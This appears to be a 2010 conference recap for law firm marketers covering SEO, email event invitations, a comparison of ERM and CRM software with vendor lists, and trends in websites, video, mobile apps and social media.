In order to stay competitive it is important that law firms utilize a search engine optimization (SEO) strategy to help improve their rankings in both branded and non-branded searches performed on Google, Yahoo, Bing, etc. This session focused on changes firms can make to their websites to support their SEO goals, including:

  • Eliminate pages with duplicate content
  • Name URL’s rather than using numbers
  • Add metadata to all pages
  • Create links between pages on your site and use meaningful phrases to describe the content to which you are linking (not just “click here”)
  • Seek inbound links to pages on your site from reputable sources
  • Push out your content as much as possible through e-mail distributions, RSS feeds, social media and syndication services – such as the National Law Review.

Also, the session covered the importance of using web analytics to track how your website is performing and whether the changes implemented are successful. Several free web analytics tools are available, including Google Analytics, Yahoo! Web Analytics and Piwik.

At the end of the session, the panelists provided the audience with 10 Questions about SEO and Web Analytics That You Should Know How to Answer.

II. Using Technology for Successful Events

This session focused on the increasing importance of e-mail communications for events and tools available to manage those communications. Two e-mail platforms were mentioned that link directly to CRM software: Tikit eMarketing andConcep. The Tikit eMarketing solution requires your firm to have in-house resources to design and send e-mails through your own server. The Concep solution involves a third-party vendor that aides in template design and uses its own servers to distribute your e-mails.

Important things to remember regarding invitations and RSVP forms:

  • Include disclaimers, the firm’s address and an unsubscribe link (important to comply with CAN-SPAM).
  • Apply alt tags for all images.
  • Use a combination of images, background color and text, rather than one big image for your invitation.
  • Link to a survey in your invitation to find out what people are interested in hearing about.
  • Link to a survey in your post-event follow-up e-mails to gauge the response of the audience, find out what else they would have liked to learn and their interest in future events.
  • Cross-market events in appropriate client alerts and other news-like e-mail distributions.
  • Personalize the e-mail with the recipient’s name in the subject line or body of the e-mail for a better response rate.
  • Use social media to promote the event to an audience who may not already be familiar with your firm.

 III. ERM and CRM: Compare and Contrast

This topic turned into a hot debate among the panelists and drew a large crowd of enterprise relationship management (ERM) and CRM vendors who were anxious to hear how their solutions would be discussed. There were three panelists from different law firms, one with only an ERM solution, one with only a CRM solution and one with both solutions in place. One of the main functions of both ERM and CRM software is tracking “who knows who” among your clients, prospects and referral sources. ERM gathers this information by monitoring e-mail traffic and possibly phone calls of your employees and brings that information into the system automatically. Most CRM systems pull this information from address books in Outlook (and other e-mail systems) and require more active participation from attorneys to be successful.

The message from the panel was that every firm is different, and selecting one or both solutions depends on the culture of your firm and its needs. If you have attorneys who won’t take the time to share their contacts through CRM software and will not object to the information being pulled automatically, an ERM solution may work for you. If you have attorneys who are concerned about privacy and want to be able to do more (such as track business development efforts, e-mail marketing lists and client information), the CRM option is the way to go. If you have a combination of needs, you might look into implementing both solutions.

During the presentation, the panelists were careful not to mention what vendors they used, but did supply the following list of ERM and CRM providers that to cater to the law firm market.

CRM Vendors

LexisNexis – InterAction

Versys Corporation – IntelliPad

Client Profiles/Microsoft – CRM4Legal

Cole Valley Software – ContactEase

Hubbard One – Contact Manager

ERM Vendors

Cole Valley Software – Relationship Discovery

LexisNexis – InterAction IQ

Hubbard One – ContactNet

BranchIt Corporation – BranchIt

 

IV. Marketing Technology Roundtable / Hot Trends in Law Firm Marketing Technology

In the fourth session, all panelists from the previous sessions returned to answer audience questions about marketing technology. The first thing discussed was what’s hot or new in the market. Below are some of the advances that are happening now or may be coming your way in the near future.

Websites: Looking at the future of law firm websites, the group saw many changes on the horizon.  One panelist described a recent demo she attended from Saturno Design that featured a new tool that essentially sets up a “mapping” feature to deliver customized content to each visitor based on what they viewed during prior visits to your site. Several panelists also predicted a blurring between the traditional law firm site and social media. Examples included pulling content from LinkedIn profiles for attorney bios or replacing the traditional newsletter and alert sections with blogs.

Video: Video was a hot topic throughout the sessions. Many firms have already begun to use this medium on their websites and in their electronic communications, adding a human element that was not possible before. Mary Tomaro, Web and Interactive Marketing Manager for Jones Day, said videos on their website have become quite popular. An important note, if your firm is comfortable using YouTube to host its videos, there are two benefits to this approach: 1) you can save the cost of purchasing software to host them yourself, and 2) you can increase the reach of the videos, as they can be spread virally and are more easily found by search engines.

Mobile Apps: To date, only a select few firms have released applications for use on mobile devices. The panelists saw this as an increasingly important trend as users move away from traditional desktop computers and use their mobile devices and other tools, such as iPads, to search for and read content. Read a blog post describing the recent success of Morrison & Foerster’s iPhone app.

Social Media: Although social media may not be a new tool, many firms have yet to establish a usage policy or firmwide strategy. As you iron out how your firm will utilize social media, keep in mind that relevance is more important than reach – it doesn’t matter if you have 2,000 Twitter followers if the content you give them doesn’t resonate.

© 2010 International Legal Technology Association  

About the Author:

Kristyn is Marketing Technology Specialist at Chicago-based Much Shelist. She is responsible for the firm’s CRM database (InterAction), electronic marketing campaigns (from basic HTML design through distribution and analytics) and social media strategy. She also has various duties related to the firm’s Web site, including search engine optimization and Web analytics interpretation. Kristyn was recognized by the International Legal Technology Association (ILTA) with a 2010 Distinguished Peer Award for outstanding achievements in marketing technology at the organization’s annual conference. She has nearly five years of marketing technology experience in a law firm environment.

www.muchshelist.com / 312-521-2125